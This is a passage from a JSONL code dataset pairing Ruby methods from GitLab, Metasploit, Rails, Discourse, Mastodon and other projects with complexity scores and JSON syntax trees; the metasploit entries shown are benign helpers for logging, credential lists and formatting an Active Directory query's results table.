index_ci_runners_on_contacted_at_and_id_where_inactive ON #{ARCHIVED_TABLE_NAME}\n        USING btree (contacted_at DESC, id DESC) WHERE (active = false);\n      CREATE INDEX index_ci_runners_on_contacted_at_desc_and_id_desc ON #{ARCHIVED_TABLE_NAME}\n        USING btree (contacted_at DESC, id DESC);\n      CREATE INDEX index_ci_runners_on_created_at_and_id_desc ON #{ARCHIVED_TABLE_NAME}\n        USING btree (created_at, id DESC);\n      CREATE INDEX index_ci_runners_on_created_at_and_id_where_inactive ON #{ARCHIVED_TABLE_NAME}\n        USING btree (created_at DESC, id DESC) WHERE (active = false);\n      CREATE INDEX index_ci_runners_on_created_at_desc_and_id_desc ON #{ARCHIVED_TABLE_NAME}\n        USING btree (created_at DESC, id DESC);\n      CREATE INDEX index_ci_runners_on_creator_id_where_creator_id_not_null ON #{ARCHIVED_TABLE_NAME}\n        USING btree (creator_id) WHERE (creator_id IS NOT NULL);\n      CREATE INDEX index_ci_runners_on_description_trigram ON #{ARCHIVED_TABLE_NAME}\n        USING gin (description gin_trgm_ops);\n      CREATE INDEX index_ci_runners_on_locked ON #{ARCHIVED_TABLE_NAME} USING btree (locked);\n      CREATE INDEX index_ci_runners_on_runner_type_and_id ON #{ARCHIVED_TABLE_NAME} USING btree (runner_type, id);\n      CREATE INDEX index_ci_runners_on_sharding_key_id_when_not_null ON #{ARCHIVED_TABLE_NAME}\n        USING btree (sharding_key_id) WHERE (sharding_key_id IS NOT NULL);\n      CREATE INDEX index_ci_runners_on_token_expires_at_and_id_desc ON #{ARCHIVED_TABLE_NAME}\n        USING btree (token_expires_at, id DESC);\n      CREATE INDEX index_ci_runners_on_token_expires_at_desc_and_id_desc ON #{ARCHIVED_TABLE_NAME}\n        USING btree (token_expires_at DESC, id DESC);\n      CREATE UNIQUE INDEX index_uniq_ci_runners_on_token ON #{ARCHIVED_TABLE_NAME} USING btree (token);\n      CREATE UNIQUE INDEX index_uniq_ci_runners_on_token_encrypted ON #{ARCHIVED_TABLE_NAME}\n        USING btree (token_encrypted);\n    SQL\n\n    # Add foreign key constraints\n    FOREIGN_KEY_CHECKS.each do |check|\n      add_concurrent_foreign_key(check[:table_name], ARCHIVED_TABLE_NAME, column: :runner_id,\n        name: check[:constraint_name], on_delete: check.fetch(:on_delete, :cascade))\n    end\n\n    with_lock_retries do\n      create_trigger_to_sync_tables(TABLE_NAME, ARCHIVED_TABLE_NAME, 'id')\n    end\n  end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"recreate_archive_table\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"      CREATE TABLE \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCHIVED_TABLE_NAME\"]}]},{\"type\":\"str\",\"children\":[\" (\\n\"]},{\"type\":\"str\",\"children\":[\"        id bigint NOT NULL,\\n\"]},{\"type\":\"str\",\"children\":[\"        token character varying,\\n\"]},{\"type\":\"str\",\"children\":[\"        created_at timestamp without time zone,\\n\"]},{\"type\":\"str\",\"children\":[\"        updated_at timestamp without time zone,\\n\"]},{\"type\":\"str\",\"children\":[\"        description character varying,\\n\"]},{\"type\":\"str\",\"children\":[\"        contacted_at timestamp without time zone,\\n\"]},{\"type\":\"str\",\"children\":[\"        active boolean DEFAULT true NOT NULL,\\n\"]},{\"type\":\"str\",\"children\":[\"        name character varying,\\n\"]},{\"type\":\"str\",\"children\":[\"        run_untagged boolean DEFAULT true NOT NULL,\\n\"]},{\"type\":\"str\",\"children\":[\"        locked boolean DEFAULT false NOT NULL,\\n\"]},{\"type\":\"str\",\"children\":[\"        access_level integer DEFAULT 0 NOT NULL,\\n\"]},{\"type\":\"str\",\"children\":[\"        maximum_timeout integer,\\n\"]},{\"type\":\"str\",\"children\":[\"        runner_type smallint NOT NULL,\\n\"]},{\"type\":\"str\",\"children\":[\"        token_encrypted character varying,\\n\"]},{\"type\":\"str\",\"children\":[\"        public_projects_minutes_cost_factor double precision DEFAULT 1.0 NOT NULL,\\n\"]},{\"type\":\"str\",\"children\":[\"        private_projects_minutes_cost_factor double precision DEFAULT 1.0 NOT NULL,\\n\"]},{\"type\":\"str\",\"children\":[\"        maintainer_note text,\\n\"]},{\"type\":\"str\",\"children\":[\"        token_expires_at timestamp with time zone,\\n\"]},{\"type\":\"str\",\"children\":[\"        allowed_plans text[] DEFAULT '{}'::text[] NOT NULL,\\n\"]},{\"type\":\"str\",\"children\":[\"        registration_type smallint DEFAULT 0 NOT NULL,\\n\"]},{\"type\":\"str\",\"children\":[\"        creator_id bigint,\\n\"]},{\"type\":\"str\",\"children\":[\"        creation_state smallint DEFAULT 0 NOT NULL,\\n\"]},{\"type\":\"str\",\"children\":[\"        allowed_plan_ids bigint[] DEFAULT '{}'::bigint[] NOT NULL,\\n\"]},{\"type\":\"str\",\"children\":[\"        sharding_key_id bigint,\\n\"]},{\"type\":\"str\",\"children\":[\"        CONSTRAINT check_46c685e76f CHECK ((char_length((description)::text) <= 1024)),\\n\"]},{\"type\":\"str\",\"children\":[\"        CONSTRAINT check_91230910ec CHECK ((char_length((name)::text) <= 256)),\\n\"]},{\"type\":\"str\",\"children\":[\"        CONSTRAINT check_ce275cee06 CHECK ((char_length(maintainer_note) <= 1024))\\n\"]},{\"type\":\"str\",\"children\":[\"      );\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      ALTER TABLE ONLY \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCHIVED_TABLE_NAME\"]}]},{\"type\":\"str\",\"children\":[\" ADD CONSTRAINT \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCHIVED_TABLE_NAME\"]}]},{\"type\":\"str\",\"children\":[\"_pkey PRIMARY KEY (id);\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      CREATE INDEX index_ci_runners_on_active ON \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCHIVED_TABLE_NAME\"]}]},{\"type\":\"str\",\"children\":[\" USING btree (active, id);\\n\"]},{\"type\":\"str\",\"children\":[\"      CREATE INDEX index_ci_runners_on_contacted_at_and_id_desc ON \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCHIVED_TABLE_NAME\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        USING btree (contacted_at, id DESC);\\n\"]},{\"type\":\"str\",\"children\":[\"      CREATE INDEX index_ci_runners_on_contacted_at_and_id_where_inactive ON \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCHIVED_TABLE_NAME\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        USING btree (contacted_at DESC, id DESC) WHERE (active = false);\\n\"]},{\"type\":\"str\",\"children\":[\"      CREATE INDEX index_ci_runners_on_contacted_at_desc_and_id_desc ON \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCHIVED_TABLE_NAME\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        USING btree (contacted_at DESC, id DESC);\\n\"]},{\"type\":\"str\",\"children\":[\"      CREATE INDEX index_ci_runners_on_created_at_and_id_desc ON \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCHIVED_TABLE_NAME\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        USING btree (created_at, id DESC);\\n\"]},{\"type\":\"str\",\"children\":[\"      CREATE INDEX index_ci_runners_on_created_at_and_id_where_inactive ON \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCHIVED_TABLE_NAME\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        USING btree (created_at DESC, id DESC) WHERE (active = false);\\n\"]},{\"type\":\"str\",\"children\":[\"      CREATE INDEX index_ci_runners_on_created_at_desc_and_id_desc ON \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCHIVED_TABLE_NAME\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        USING btree (created_at DESC, id DESC);\\n\"]},{\"type\":\"str\",\"children\":[\"      CREATE INDEX index_ci_runners_on_creator_id_where_creator_id_not_null ON \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCHIVED_TABLE_NAME\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        USING btree (creator_id) WHERE (creator_id IS NOT NULL);\\n\"]},{\"type\":\"str\",\"children\":[\"      CREATE INDEX index_ci_runners_on_description_trigram ON \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCHIVED_TABLE_NAME\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        USING gin (description gin_trgm_ops);\\n\"]},{\"type\":\"str\",\"children\":[\"      CREATE INDEX index_ci_runners_on_locked ON \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCHIVED_TABLE_NAME\"]}]},{\"type\":\"str\",\"children\":[\" USING btree (locked);\\n\"]},{\"type\":\"str\",\"children\":[\"      CREATE INDEX index_ci_runners_on_runner_type_and_id ON \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCHIVED_TABLE_NAME\"]}]},{\"type\":\"str\",\"children\":[\" USING btree (runner_type, id);\\n\"]},{\"type\":\"str\",\"children\":[\"      CREATE INDEX index_ci_runners_on_sharding_key_id_when_not_null ON \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCHIVED_TABLE_NAME\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        USING btree (sharding_key_id) WHERE (sharding_key_id IS NOT NULL);\\n\"]},{\"type\":\"str\",\"children\":[\"      CREATE INDEX index_ci_runners_on_token_expires_at_and_id_desc ON \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCHIVED_TABLE_NAME\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        USING btree (token_expires_at, id DESC);\\n\"]},{\"type\":\"str\",\"children\":[\"      CREATE INDEX index_ci_runners_on_token_expires_at_desc_and_id_desc ON \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCHIVED_TABLE_NAME\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        USING btree (token_expires_at DESC, id DESC);\\n\"]},{\"type\":\"str\",\"children\":[\"      CREATE UNIQUE INDEX index_uniq_ci_runners_on_token ON \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCHIVED_TABLE_NAME\"]}]},{\"type\":\"str\",\"children\":[\" USING btree (token);\\n\"]},{\"type\":\"str\",\"children\":[\"      CREATE UNIQUE INDEX index_uniq_ci_runners_on_token_encrypted ON \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCHIVED_TABLE_NAME\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        USING btree (token_encrypted);\\n\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FOREIGN_KEY_CHECKS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"check\"]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_foreign_key\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"check\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"table_name\"]}]},{\"type\":\"const\",\"children\":[null,\"ARCHIVED_TABLE_NAME\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"runner_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"check\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"constraint_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"check\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"create_trigger_to_sync_tables\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"const\",\"children\":[null,\"ARCHIVED_TABLE_NAME\"]},{\"type\":\"str\",\"children\":[\"id\"]}]}]}]}]}","id":"adb7b41a-8b4e-4870-b77a-1186f862e82f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/credential_collection.rb","start_line":71,"raw_source":"def add_private(private_str='')\n      additional_privates << private_str\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"add_private\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"private_str\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"additional_privates\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"private_str\"]}]}]}","id":"a17c58bb-4394-4547-a86b-705a5839dadf"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/projects/settings_contract.rb","start_line":49,"raw_source":"def has_changed_setting?(key)\n      model.settings_changed? && model.settings_change.any? { |setting| setting.key?(key) }\n    end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"has_changed_setting?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"settings_changed?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"settings_change\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"setting\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]}","id":"64db30a1-9cc7-439e-86ad-36af64e96f8f"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/admin_plugin_serializer.rb","start_line":55,"raw_source":"def include_enabled_setting?\n    enabled_setting.present?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"include_enabled_setting?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enabled_setting\"]},\"present?\"]}]}","id":"1a3139d1-c322-441f-907a-23eb2ae51898"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/ems_event_helper.rb","start_line":19,"raw_source":"def before_handle\n    _log.info(\"Processing EMS event [#{@event.event_type}] chain_id [#{@event.chain_id}] on EMS [#{@event.ems_id}]...\")\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"before_handle\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Processing EMS event [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@event\"]},\"event_type\"]}]},{\"type\":\"str\",\"children\":[\"] chain_id [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@event\"]},\"chain_id\"]}]},{\"type\":\"str\",\"children\":[\"] on EMS [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@event\"]},\"ems_id\"]}]},{\"type\":\"str\",\"children\":[\"]...\"]}]}]}]}","id":"7bcd74f5-9f69-4978-9087-266973f5b6c5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/enum_ad_managedby_groups.rb","start_line":83,"raw_source":"def parse_results(results)\n    results_table = Rex::Text::Table.new(\n      'Header' => 'Groups with Managers',\n      'Indent' => 1,\n      'SortIndex' => -1,\n      'Columns' => @user_fields\n    )\n\n    results.each do |result|\n      row = []\n\n      result.each do |field|\n        if field.nil?\n          row << ''\n        else\n          row << field[:value]\n        end\n      end\n      if datastore['RESOLVE_MANAGERS']\n        begin\n          m = query(\"(distinguishedName=#{result[2][:value]})\", 1, ['sAMAccountName'])\n          if !m.nil? && !m[:results].empty?\n            row << m[:results][0][0][:value]\n          else\n            row << ''\n          end\n        rescue StandardError\n          row << ''\n        end\n      end\n      results_table << row\n    end\n    results_table\n  end","complexity_score":53.55,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_results\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"results\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"results_table\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"Table\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Header\"]},{\"type\":\"str\",\"children\":[\"Groups with Managers\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Indent\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SortIndex\"]},{\"type\":\"int\",\"children\":[-1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Columns\"]},{\"type\":\"ivar\",\"children\":[\"@user_fields\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"row\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RESOLVE_MANAGERS\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"m\",{\"type\":\"send\",\"children\":[null,\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(distinguishedName=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"sAMAccountName\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"nil?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"results\"]}]},\"empty?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"results\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\"]}]}]},null]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results_table\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"row\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"results_table\"]}]}]}","id":"b54b0720-a83f-4369-a645-9c0ddfa817e0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/logging/log_dispatcher.rb","start_line":102,"raw_source":"def set_level(src, level)\n    log_levels[src] = level.to_i\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_level\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"src\"]},{\"type\":\"arg\",\"children\":[\"level\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_levels\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"src\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"level\"]},\"to_i\"]}]}]}","id":"1615c4eb-fd2d-4b03-baeb-ec9779c99b3f"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/schema_dumper_test.rb","start_line":154,"raw_source":"def test_schema_dump_with_string_ignored_table\n    output = dump_table_schema(\"authors\")\n    assert_no_match %r{create_table \"accounts\"}, output\n    assert_match %r{create_table \"authors\"}, output\n    assert_no_match %r{create_table \"schema_migrations\"}, output\n    assert_no_match %r{create_table \"ar_internal_metadata\"}, output\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_schema_dump_with_string_ignored_table\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[null,\"dump_table_schema\",{\"type\":\"str\",\"children\":[\"authors\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"create_table \\\"accounts\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"create_table \\\"authors\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"create_table \\\"schema_migrations\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"create_table \\\"ar_internal_metadata\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}","id":"a6db5baf-d91a-49a0-9f86-11eb502886fc"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/flows.rb","start_line":71,"raw_source":"def inside_fiber?\n        Fiber.current.object_id != @root\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"inside_fiber?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fiber\"]},\"current\"]},\"object_id\"]},\"!=\",{\"type\":\"ivar\",\"children\":[\"@root\"]}]}]}","id":"caddcdab-96b1-4793-88e1-2542d1f61d20"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/web/push_subscriptions_controller.rb","start_line":48,"raw_source":"def default_subscription_data\n    {\n      policy: 'all',\n      alerts: Notification::TYPES.index_with { alerts_enabled },\n    }.deep_stringify_keys\n  end","complexity_score":4.7,"ast_json":"{\"type\":\"def\",\"children\":[\"default_subscription_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"policy\"]},{\"type\":\"str\",\"children\":[\"all\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"alerts\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"TYPES\"]},\"index_with\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"alerts_enabled\"]}]}]}]},\"deep_stringify_keys\"]}]}","id":"06c3722c-c3ab-4dfd-a5a0-514083aca9d4"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/tasks/evm_test_helper.rb","start_line":11,"raw_source":"def self.vmdb_spec_directories\n    # TODO: Clean up this thing\n    #\n    # This is required because parallel_tests takes directories\n    # RSpec will sort out the parsing of _spec.rb's within them, too!\n    #\n    # Output: %w(./spec/controllers ./spec/helpers ./spec/initializers ..)\n    Dir.glob(\"./spec/*\").select do |d|\n      File.directory?(d) && !Dir.glob(\"#{d}/**/*_spec.rb\").empty?\n    end\n  end","complexity_score":9.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"vmdb_spec_directories\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"glob\",{\"type\":\"str\",\"children\":[\"./spec/*\"]}]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"d\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"directory?\",{\"type\":\"lvar\",\"children\":[\"d\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"glob\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]}]},{\"type\":\"str\",\"children\":[\"/**/*_spec.rb\"]}]}]},\"empty?\"]},\"!\"]}]}]}]}","id":"443f8a1d-aa1f-478a-a37e-f8f53c533b8b"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/configurable.rb","start_line":26,"raw_source":"def self.compile_methods!(keys)\n        keys.reject { |m| method_defined?(m) }.each do |key|\n          class_eval <<-RUBY, __FILE__, __LINE__ + 1\n            def #{key}; _get(#{key.inspect}); end\n          RUBY\n        end\n      